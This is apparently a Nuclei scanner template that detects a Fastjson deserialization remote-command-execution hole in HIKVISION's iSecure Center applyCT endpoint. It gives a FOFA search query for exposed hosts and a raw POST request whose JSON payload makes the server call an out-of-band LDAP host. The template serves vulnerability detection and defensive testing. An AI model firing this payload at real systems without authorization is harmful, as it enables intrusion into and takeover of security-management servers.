id: hikvision-fastjson-rce

info:
  name: HIKVISION applyCT Fastjson - Remote Command Execution
  author: SleepingBag945
  severity: critical
  description: |
    The HIKVISION comprehensive security management platform applyCT has a remote command execution vulnerability in a low version of Fastjson, through which an attacker can execute arbitrary commands to obtain server privileges
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/HIKVISION/HIKVISION%20%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%20applyCT%20Fastjson%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
    - https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%20Fastjson%20%E5%86%85%E5%AD%98%E9%A9%AC%E6%89%93%E6%B3%95.md
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/hikvision-fastjson-rce.yaml
  metadata:
    max-request: 1
    fofa-query: app="HIKVISION-iSecure-Center"
    verified: true
  tags: hikvision,fastjson,rce,oast

http:
  - raw:
      - |
        POST /bic/ssoService/v1/applyCT HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true},"hfe4zyyzldp":"="}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"code":'
          - '"msg":'
        condition: and

      - type: word
        part: header
        words:
          - 'text/json'